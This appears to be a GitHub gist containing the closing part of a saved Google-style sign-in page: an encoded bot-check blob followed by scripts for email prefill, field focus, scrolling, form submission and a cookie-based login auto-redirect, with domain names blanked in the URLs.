cMqLL1n9WBr1TERfmFgknIt/MxyLj+1eWfOz8KQsNYQezPwCeIyg0XMexvpzhrpkFCcvCa6UfNM3f8kapkxZJEHvVY8HXQcBVpiTh74R5shQs+CofDtTD++XDoAClImHPRK81nYy+RhamlCy24zA7WDTJ6QrG2p/SSThePsjyv4pfeN+ZDhopt4uk9ZTt6GCQzqRU6NTOM/Hh6lBi3VyFsL0XRz0GT5ziplPERe8bfMJdobA6nDEuKO4REOdxGix24HkoJOOIlZntMPGVT9Xga3ZJKHkRMXUTRsF7pyiSxwDNiGeu341be25u+rJaIddNsU53tce6LMYiPQFQPfJcyvSoIlwEgvOj8WBIgld64kVj+Tre8bj/XOUf6DMUjC8mB8g244QGOW2ax+t0L3JaROXlc46zhCgehnkWAzWTdn432pUEoaY4ndbtJ7kT7acwIDNLmUCEs9VcTLPz6VPzPQg+RHdKz5auXRHEVBrvf2vi8zW9YZ6sDqJu6OoEElUpey2Idlzs8LLZZujFRrAVa3mw50oYznD94v2ILAGO5o9vNJVFWmptZDQnmbpjBLAdzWw3Zhwq2WcP9YtSXwSTH+kFvvTJe7tZ2McxcmPfp39i/hQIMmiFnSkOSyzccqjDxfmB48L37OE8476gzcjHJiZ6jUS1VFC7V8lm6yV1sUJqCq/aGbqJs59nA6z/KXMdASMxSGpTd/mLAbhHZZ9sO4JDvr9Uj0w2NYXqxsQTJizrpxscMXD+Nk4oiVH8FrW+bkeio/a/NQVUyt14qAwRtedCMx+yidVdwjfOYZ7/vf/cmS3W7AzTE4Xt7MhmDgmuKAPi4oOjrVxFPZYkc5wriTsR9ZVKe/oevDXYWPzKvhYh7018fDuKquc8utB8q3vKjg2QSkT4kDs3EJOjtUJjmcFhcVZhs4/QoeWBQsq2EtYn4pwJf/jKhQQdJPFQc6kWkaF+Qlm5LXcNXtXdx3NjDYd5ZWMGfBYnaFEGB07lsxAvXNzp/AWF5ijNOaa5peRulN2oHD/8J0IW21nKUuWsy2PH808JcQ8acwcF/SezO0G1Bf1lCgpZln9v8DoyXmGX+BzBcLVrl6fjaCYcfQNy0pxwJIBX6x7QCd2OUfoNjI2ONmj04YBoP9wUnA4vNyyqIgWl79S9z0y5Uc+H7ykDimqueFVX6fHrDxTvME/AU3/fs8KCQoqfhy0hsvn5Vs/YEX06FBOUcixuizJGWGEoP1twhCjsDjlJ6xjAD5pAPQQtzcuoVn7oImRCGMkF80WehmsAMrf01poKRrA09GySnL908N3d8LI1REItfdWe6QDFhhz0wlmifPE4XNkbGyu56/+ROnYdN9nGwX8x78x8ImjsVCTB+zDIu+VLoWZnLHh7pxhJ7BBUEBLQmCer+H3NFHZgUPb/9LLgYPt1iXtf1epmm+nBSAZ3yJ2GdR7M74FSg9L8SVa1PmblHSeeOjOCBQ4K2juXXG+/nIZCaoIO4Sh4Hj29');
</script><script>
function gaia_parseFragment() {
var hash = location.hash;
var params = {};
if (!hash) {
return params;
}
var paramStrs = decodeURIComponent(hash.substring(1)).split('&');
for (var i = 0; i < paramStrs.length; i++) {
var param = paramStrs[i].split('=');
params[param[0]] = param[1];
}
return params;
}
function gaia_prefillEmail() {
var form = null;
if (document.getElementById) {
form = document.getElementById('gaia_loginform');
}
if (form && form.Email &&
(form.Email.value == null || form.Email.value == '')
&& (form.Email.type != 'hidden')) {
hashParams = gaia_parseFragment();
if (hashParams['Email'] && hashParams['Email'] != '') {
form.Email.value = hashParams['Email'];
}
}
}
try {
gaia_prefillEmail();
} catch (e) {
}
</script><script>
function gaia_setFocus() {
var form = null;
var isFocusableField = function (inputElement) {
if (!inputElement) {
return false;
}
if (inputElement.type != 'hidden' && inputElement.focus &&
inputElement.style.display != 'none') {
return true;
}
return false;
};
var isFocusableErrorField = function (inputElement) {
if (!inputElement) {
return false;
}
var hasError = inputElement.className.indexOf('form-error') > -1;
if (hasError && isFocusableField(inputElement)) {
return true;
}
return false;
};
var isFocusableEmptyField = function (inputElement) {
if (!inputElement) {
return false;
}
var isEmpty = inputElement.value == null || inputElement.value == '';
if (isEmpty && isFocusableField(inputElement)) {
return true;
}
return false;
};
if (document.getElementById) {
form = document.getElementById('gaia_loginform');
}
if (form) {
var userAgent = navigator.userAgent.toLowerCase();
var formFields = form.getElementsByTagName('input');
for (var i = 0; i < formFields.length; i++) {
var currentField = formFields[i];
if (isFocusableErrorField(currentField)) {
currentField.focus();
var currentValue = currentField.value;
currentField.value = '';
currentField.value = currentValue;
return;
}
}
for (var j = 0; j < formFields.length; j++) {
var currentField = formFields[j];
if (isFocusableEmptyField(currentField)) {
currentField.focus();
return;
}
}
}
}
gaia_attachEvent(window, 'load', gaia_setFocus);
</script><script>
var gaia_scrollToElement = function (element) {
var calculateOffsetHeight = function (element) {
var curtop = 0;
if (element.offsetParent) {
while (element) {
curtop += element.offsetTop;
element = element.offsetParent;
}
}
return curtop;
}
var siginOffsetHeight = calculateOffsetHeight(element);
var scrollHeight = siginOffsetHeight - window.innerHeight +
element.clientHeight + 0.02 * window.innerHeight;
window.scroll(0, scrollHeight);
}
</script><script>
(function () {
var signinInput = document.getElementById('signIn');
gaia_onLoginSubmit = function () {
try {
document.bg.invoke(function (response) {
document.getElementById('bgresponse').value = response;
});
} catch (err) {
document.getElementById('bgresponse').value = '';
}
return true;
}
document.getElementById('gaia_loginform').onsubmit = gaia_onLoginSubmit;
var signinButton = document.getElementById('signIn');
gaia_attachEvent(window, 'load', function () {
gaia_scrollToElement(signinButton);
});
})();
</script><script> var e = this, g = function (c, b) { var a = c.split("."), d = e; a[0] in d || !d.execScript || d.execScript("var " + a[0]); for (var f; a.length && (f = a.shift()); ) a.length || void 0 === b ? d[f] ? d = d[f] : d = d[f] = {} : d[f] = b }; var h = function () { try { return new XMLHttpRequest } catch (c) { for (var b = ["MSXML2.XMLHTTP.6.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"], a = 0; a < b.length; a++) try { return new ActiveXObject(b[a]) } catch (d) { } } return null }; g("gaia.ajax.newXmlHttpRequest", h); var k = function () { this.b = h(); this.parameters = {} }; g("gaia.ajax.XmlHttpFormRequest", k); k.prototype.a = function () { }; k.prototype.oncomplete = k.prototype.a;
k.prototype.send = function (c) { var b = [], a; for (a in this.parameters) b.push(a + "=" + encodeURIComponent(this.parameters[a])); var b = b.join("&"), d = this.b, f = this.a; d.open("POST", c, !0); d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); d.onreadystatechange = function () { 4 == d.readyState && f({ status: d.status, text: d.responseText }) }; d.send(b) }; k.prototype.send = k.prototype.send;
k.prototype.d = function (c, b) { var a = this.b, d = this.a; a.open("POST", c, !0); a.setRequestHeader("Content-type", "application/json"); a.onreadystatechange = function () { 4 == a.readyState && d({ status: a.status, text: a.responseText }) }; a.send(b) }; k.prototype.sendJson = k.prototype.d; k.prototype.c = function (c) { var b = this.a, a = this.b; a.open("GET", c, !0); a.onreadystatechange = function () { 4 == a.readyState && b({ status: a.status, text: a.responseText }) }; a.send() }; k.prototype.get = k.prototype.c; var l = /\s*;\s*/, m = function () { if (!document.cookie) return ""; for (var c = document.cookie.split(l), b = 0; b < c.length; b++) { var a = c[b], a = a.replace(/^\s+/, ""), a = a.replace(/\s+$/, ""); if (0 == a.indexOf("APISID=")) return a.substr(7) } return "" }; var n = null, p = function (c, b) { this.d = c; this.c = b; this.b = m() }, q = function () { var c = n, b = m(); b != c.b && (c.b = b, b = new k, b.a = function (a) { var b = n; a && a.status && 200 == a.status && "OK" == a.text && (b.a && clearInterval(b.a), window.location = b.d) }, b.c(c.c)) }, r = function (c) { var b = n; if (b.a) return !1; b.a = setInterval(function () { q() }, c); return !0 }; g("gaia.loginAutoRedirect.start", function (c, b, a) { if (n || !a || !b || 0 >= c) return !1; n = new p(b, a); return r(c) });
</script><script type="text/javascript">
gaia.loginAutoRedirect.start(5000,
'https:\x2F\x2Faccounts..com\x2FServiceLogin?continue=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s%23\x26followup=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s\x26service=wise\x26ltmpl=\x26passive=1209600\x26noautologin=true',
'https:\x2F\x2Faccounts..com\x2FPassiveLoginProber?continue=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s%23\x26followup=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s\x26service=wise\x26ltmpl=\x26passive=1209600');
</script></body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment